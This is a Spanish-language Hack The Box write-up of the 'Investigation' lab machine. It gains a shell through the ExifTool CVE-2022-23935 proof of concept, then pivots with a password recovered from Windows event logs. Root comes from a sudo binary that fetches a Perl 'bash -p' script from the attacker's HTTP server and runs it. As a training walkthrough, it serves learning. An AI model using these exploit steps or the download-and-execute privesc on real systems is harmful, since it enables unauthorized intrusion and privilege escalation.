Table of Contents
Hack The Box: Investigation Writeup
Welcome to my detailed writeup of the medium difficulty machine “Investigation” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.228.203 --ulimit 5000 -g
210.129.228.203 -> [22,80]
1$ nmap -p22,80 -sCV 10.129.228.203 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 23:07 CEST
3Nmap scan report for 10.129.228.203
4Host is up (0.037s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 3072 2f:1e:63:06:aa:6e:bb:cc:0d:19:d4:15:26:74:c6:d9 (RSA)
10| 256 27:45:20:ad:d2:fa:a7:3a:83:73:d9:7c:79:ab:f3:0b (ECDSA)
11|_ 256 42:45:eb:91:6e:21:02:06:17:b2:74:8b:c5:83:4f:e0 (ED25519)
1280/tcp open http Apache httpd 2.4.41
13|_http-server-header: Apache/2.4.41 (Ubuntu)
14|_http-title: Did not follow redirect to http://eforenzics.htb/
15Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
16
17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18Nmap done: 1 IP address (1 host up) scanned in 8.65 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.228.203 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 23:08 CEST
3Nmap scan report for 10.129.228.203
4Host is up (0.038s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
722381/udp closed unknown
823965/udp closed unknown
924910/udp closed unknown
1026289/udp closed unknown
1128645/udp closed unknown
1231412/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
Solo vemos el puerto 80/TCP como posible vector de ataque, en el anterior escaneo hemos detectado el dominio eforenzics.htb
así que lo añadimos al /etc/hosts
HTTP Enumeration
1$ whatweb http://eforenzics.htb
2http://eforenzics.htb [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.228.203], JQuery[3.4.1], Meta-Author[eForenzics], Script, Title[eForenzics - Premier Digital Forensics], UncommonHeaders[upgrade]
Por ahora parece que no existe ningún CMS por detrás.
El sitio web se ve así.
Podemos ver algunas valoraciones, nos vamos a apuntar estos usuarios por si acaso.
En el recurso service.html
podemos ver un formulario de subida de archivo
Se apunta al recurso upload.php
Nos pide que subamos una imagen jpg
Upload an image file and we will provide a detailed forensic analysis. At this time we can only process jpg images.
Si subimos una imagen nos redirecciona a http://eforenzics.htb/analysed_images/testjpg.txt
Vemos que se está utilizando exiftool
Foothold -> CVE-2022-23935
Podemos intentar inyectar un comando modificando el filename
pero esto no funciona.
Buscando exploits encontramos algunos que nos llama la atención.
Recordemos que la versión era la 12.37
Podemos utilizar este PoC
Este PoC automáticamente se pone en escucha por el puerto 443 pero podemos generar el payload y luego ponernos nosotros en escucha con pwncat-cs
1$ sudo python3 CVE-2022-23935.py 10.10.14.85 443
Subimos el archivo que genera.
¡Y ganamos acceso!
Ahora nos salimos de esa shell, nos ponemos en escucha con pwncat-cs
por el puerto 443 y subimos otra vez el archivo.
User Pivoting
1(remote) www-data@investigation:/var/www/html$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3smorton:x:1000:1000:eForenzics:/home/smorton:/bin/bash
Vemos que solo existe el usuario smorton
a parte de root
Encontramos un archivo de este usuario un tanto extraño
1(remote) www-data@investigation:/home$ find / -type f -user smorton 2>/dev/null
2/usr/local/investigation/Windows Event Logs for Analysis.msg
1(remote) www-data@investigation:/usr/local/investigation$ file Windows\ Event\ Logs\ for\ Analysis.msg
2Windows Event Logs for Analysis.msg: CDFV2 Microsoft Outlook Message
Un archivo con la extensión .msg
es un archivo de mensaje utilizado principalmente por Microsoft Outlook y otras aplicaciones de correo electrónico que son compatibles con el formato de Microsoft Outlook.
Es decir, viendo su peso (1,3M) contiene mensajes de correo, quizás alguno sea interesante.
Este es un archivo en formato MS-Outlook pero podemos convertirlo en un archivo .eml.
1sudo apt-get install libemail-outlook-message-perl libemail-sender-perl
Convertimos el archivo…
1$ msgconvert msg.msg
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/investigation/content]
3└──╼ [★]$ ls
4msg.eml msg.msg test.jpg
Podemos analizar el archivo eml con encryptomatic y vemos un mensaje sobre que se debe analizar unos logs.
El archivo zip contiene un archivo security.evtx
Este archivo .evtx
es un archivo de registro de eventos de Windows para almacenar eventos de registro del sistema y aplicaciones.
Podemos leer este archivo con https://github.com/omerbenamram/evtx
Nos descargamos la herramienta de aquí
Y guiándonos con este artículo https://medium.com/@salim.y.salimov/a-hassle-free-evtx-to-json-converter-not-only-for-windows-but-linux-and-mac-os-too-82adc4d9d158
Ahora podemos convertir el archivo evtx a un formato json
1$ ./evtx -o json -f security.json security.evtx
Y ya podemos analizarlo tranquilamente…
1$ cat security.json | head -n 10
2Record 1
3{
4 "Event": {
5 "#attributes": {
6 "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
7 },
8 "System": {
9 "Provider": {
10 "#attributes": {
11 "Name": "Microsoft-Windows-Eventlog",
12...
Consultando la biblia del hacking (HackTricks)
Encontramos el formato de este log y encontramos lo que significa los identificadores de los IDs
Realmente los logs mas importantes relacionados con la autenticación de los usuarios son los que he marcado.
Si revisamos el evento 4624
no encontramos nada pero si revisamos el evento 4625
…
1$ cat security.json | grep ": 4625" -C 20
2 "PackageName": "MICROSOFT_AUTHENTICATION_PACKAGE_V1_0",
3 "TargetUserName": "lmonroe",
4 "Workstation": "EFORENZICS-DI",
5 "Status": "0xc000006a"
6 }
7 }
8}
9Record 7985
10{
11 "Event": {
12 "#attributes": {
13 "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
14 },
15 "System": {
16 "Provider": {
17 "#attributes": {
18 "Name": "Microsoft-Windows-Security-Auditing",
19 "Guid": "54849625-5478-4994-A5BA-3E3B0328C30D"
20 }
21 },
22 "EventID": 4625,
23 "Version": 0,
24 "Level": 0,
25 "Task": 12544,
26 "Opcode": 0,
27 "Keywords": "0x8010000000000000",
28 "TimeCreated": {
29 "#attributes": {
30 "SystemTime": "2022-08-01T16:34:51.543729Z"
31 }
32 },
33 "EventRecordID": 11371170,
34 "Correlation": {
35 "#attributes": {
36 "ActivityID": "6A946884-A5BC-0001-D968-946ABCA5D801"
37 }
38 },
39 "Execution": {
40 "#attributes": {
41 "ProcessID": 628,
42 "ThreadID": 5128
43--
44 "PackageName": "MICROSOFT_AUTHENTICATION_PACKAGE_V1_0",
45 "TargetUserName": "hmraley",
46 "Workstation": "EFORENZICS-DI",
47 "Status": "0xc0000064"
48 }
49 }
50}
51Record 8418
52{
53 "Event": {
54 "#attributes": {
55 "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
56 },
57 "System": {
58 "Provider": {
59 "#attributes": {
60 "Name": "Microsoft-Windows-Security-Auditing",
61 "Guid": "54849625-5478-4994-A5BA-3E3B0328C30D"
62 }
63 },
64 "EventID": 4625,
65 "Version": 0,
66 "Level": 0,
67 "Task": 12544,
68 "Opcode": 0,
69 "Keywords": "0x8010000000000000",
70 "TimeCreated": {
71 "#attributes": {
72 "SystemTime": "2022-08-01T16:50:07.137703Z"
73 }
74 },
75 "EventRecordID": 11371603,
76 "Correlation": {
77 "#attributes": {
78 "ActivityID": "6A946884-A5BC-0001-D968-946ABCA5D801"
79 }
80 },
81 "Execution": {
82 "#attributes": {
83 "ProcessID": 628,
84 "ThreadID": 604
85--
86 "PackageName": "MICROSOFT_AUTHENTICATION_PACKAGE_V1_0",
87 "TargetUserName": "Def@ultf0r3nz!csPa$$",
88 "Workstation": "EFORENZICS-DI",
89 "Status": "0xc0000064"
90 }
91 }
92}
93Record 10146
94{
95 "Event": {
96 "#attributes": {
97 "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
98 },
99 "System": {
100 "Provider": {
101 "#attributes": {
102 "Name": "Microsoft-Windows-Security-Auditing",
103 "Guid": "54849625-5478-4994-A5BA-3E3B0328C30D"
104 }
105 },
106 "EventID": 4625,
107 "Version": 0,
108 "Level": 0,
109 "Task": 12544,
110 "Opcode": 0,
111 "Keywords": "0x8010000000000000",
112 "TimeCreated": {
113 "#attributes": {
114 "SystemTime": "2022-08-01T19:15:15.374769Z"
115 }
116 },
117 "EventRecordID": 11373331,
118 "Correlation": {
119 "#attributes": {
120 "ActivityID": "6A946884-A5BC-0001-D968-946ABCA5D801"
121 }
122 },
123 "Execution": {
124 "#attributes": {
125 "ProcessID": 628,
126 "ThreadID": 6800
Y detectamos algo extraño, alguien ha intentado iniciar sesión como el usuario Def@ultf0r3nz!csPa$$
"TargetUserName": "Def@ultf0r3nz!csPa$$"
Tiene toda la pinta de contraseña, y probando como el usuario smorton
…
1$ ssh smorton@10.129.228.203
2smorton@10.129.228.203's password:
3Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-137-generic x86_64)
4
5 * Documentation: https://help.ubuntu.com
6 * Management: https://landscape.canonical.com
7 * Support: https://ubuntu.com/advantage
8
9 System information as of Tue 13 Aug 2024 08:15:41 PM UTC
10
11 System load: 0.0 Processes: 231
12 Usage of /: 59.4% of 3.97GB Users logged in: 0
13 Memory usage: 13% IPv4 address for eth0: 10.129.228.203
14 Swap usage: 0%
15
16
170 updates can be applied immediately.
18
19
20The list of available updates is more than a week old.
21To check for new updates run: sudo apt update
22
23smorton@investigation:~$ id
24uid=1000(smorton) gid=1000(smorton) groups=1000(smorton)
Y podemos leer la flag de usuario
1smorton@investigation:~$ cat user.txt
2023b407268bf8bc00...
Privilege Escalation
Como smorton
detectamos que podemos ejecutar un binario como el usuario root
1smorton@investigation:~$ sudo -l
2Matching Defaults entries for smorton on investigation:
3 env_reset, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
5
6User smorton may run the following commands on investigation:
7 (root) NOPASSWD: /usr/bin/binary
Si lo ejecutamos..
1smorton@investigation:/usr/bin$ sudo binary
2Exiting...
Reversing with GHidra
Decompilando el binario con ghidra
1undefined8 main(int param_1,long param_2)
2
3{
4 __uid_t _Var1;
5 int iVar2;
6 FILE *__stream;
7 undefined8 uVar3;
8 char *__s;
9 char *__s_00;
10
11 if (param_1 != 3) {
12 puts("Exiting... ");
13 /* WARNING: Subroutine does not return */
14 exit(0);
15 }
16 _Var1 = getuid();
17 if (_Var1 != 0) {
18 puts("Exiting... ");
19 /* WARNING: Subroutine does not return */
20 exit(0);
21 }
22 iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn");
23 if (iVar2 != 0) {
24 puts("Exiting... ");
25 /* WARNING: Subroutine does not return */
26 exit(0);
27 }
28 puts("Running... ");
29 __stream = fopen(*(char **)(param_2 + 0x10),"wb");
30 uVar3 = curl_easy_init();
31 curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8));
32 curl_easy_setopt(uVar3,0x2711,__stream);
33 curl_easy_setopt(uVar3,0x2d,1);
34 iVar2 = curl_easy_perform(uVar3);
35 if (iVar2 == 0) {
36 iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10));
37 __s = (char *)malloc((long)iVar2 + 1);
38 snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10));
39 iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s);
40 __s_00 = (char *)malloc((long)iVar2 + 1);
41 snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s);
42 fclose(__stream);
43 curl_easy_cleanup(uVar3);
44 setuid(0);
45 system(__s_00);
46 system("rm -f ./lDnxUysaQn");
47 return 0;
48 }
49 puts("Exiting... ");
50 /* WARNING: Subroutine does not return */
51 exit(0);
52}
1if (param_1 != 3) { puts("Exiting... "); exit(0); }
El programa verifica si el primer argumento (param_1
) es igual a 3. Si no es 3, imprime “Exiting…” y termina la ejecución.
1_Var1 = getuid(); if (_Var1 != 0) { puts("Exiting... "); exit(0); }
Obtiene el identificador de usuario (UID) actual usando getuid()
. Si el UID no es 0 (que normalmente representa el usuario root), imprime “Exiting…” y termina la ejecución.
1iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn"); if (iVar2 != 0) { puts("Exiting... "); exit(0); }
Compara un valor obtenido de param_2
con la cadena "lDnxUysaQn"
. Si no coinciden, imprime “Exiting…” y termina la ejecución.
Sabiendo esto…
1smorton@investigation:/usr/bin$ sudo binary 3 lDnxUysaQn
2Running...
3^C
Luego realiza una descarga de un binario que realiza una petición de descarga al primer parámetro.
1__stream = fopen(*(char **)(param_2 + 0x10),"wb"); uVar3 = curl_easy_init(); curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8)); curl_easy_setopt(uVar3,0x2711,__stream); curl_easy_setopt(uVar3,0x2d,1); iVar2 = curl_easy_perform(uVar3);
- Abre un archivo para escritura binaria con el nombre obtenido de
param_2
. - Inicializa una sesión de
libcurl
y configura las opciones:- URL desde la que descargar (
curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8))
). - Archivo para guardar la descarga (
curl_easy_setopt(uVar3,0x2711,__stream)
). - Opciones adicionales (
curl_easy_setopt(uVar3,0x2d,1)
).
- URL desde la que descargar (
- Realiza la descarga (
curl_easy_perform(uVar3)
).
1if (iVar2 == 0) { iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10)); __s = (char *)malloc((long)iVar2 + 1); snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10)); iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s); __s_00 = (char *)malloc((long)iVar2 + 1); snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s); fclose(__stream); curl_easy_cleanup(uVar3); setuid(0); system(__s_00); system("rm -f ./lDnxUysaQn"); return 0; }
Si la descarga es exitosa (iVar2 == 0
):
- Crea una cadena que contiene el nombre del archivo descargado.
- Construye un comando para ejecutar el archivo descargado usando Perl (
perl ./filename
). - Limpia recursos y restablece el UID al valor de root (
setuid(0)
). - Ejecuta el comando con
system()
para ejecutar el archivo descargado. - Borra el archivo descargado con
system("rm -f ./lDnxUysaQn")
.
Vemos que efectivamente, descarga un binario con el nombre lDnxUysaQn
aunque esta no es exitosa.
-rw-r--r-- 1 root root 0 Aug 13 20:25 lDnxUysaQn
este archivo es de root
y en principio debería de ser un script en perl que luego se ejecutará.
Exploiting our knowledge
Vamos a ver si como hemos visto en el código si estableciendo el primer parámetro mi IP me llega una petición de descarga.
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
1$ sudo binary http://10.10.14.85:8081/pointedsec lDnxUysaQn
2Running...
3Exiting...
¡Perfecto!
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.203 - - [14/Aug/2024 00:31:55] code 404, message File not found
410.129.228.203 - - [14/Aug/2024 00:31:55] "GET /pointedsec HTTP/1.1" 404 -
Ahora simplemente serviremos un script en perl
que se ejecutará en el sistema.
privesc.
1#!/usr/bin/perl
2use strict;
3use warnings;
4
5exec("bash -p");
Lo servimos por el puerto 8081 y al ejecutar el binario estableciendo este archivo como segundo parámetro..
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.203 - - [14/Aug/2024 00:32:56] "GET /privesc.pl HTTP/1.1" 200 -
Nos convertimos en root
1smorton@investigation:/tmp$ sudo binary http://10.10.14.85:8081/privesc.pl lDnxUysaQn
2Running...
3root@investigation:/tmp# id
4uid=0(root) gid=0(root) groups=0(root
Y ya podríamos leer la flag de root
1root@investigation:/tmp# cat /root/root.txt
213310bc79b0a86a...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Investigation #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #Enumerating HTTP #CVE-2022-23935 #Information Leakage #Analyzing EML File #Analyzing EVTX File #Reversing Engineering #Reverse ELF Binary #Abusing Custom Binary #Perl Scripting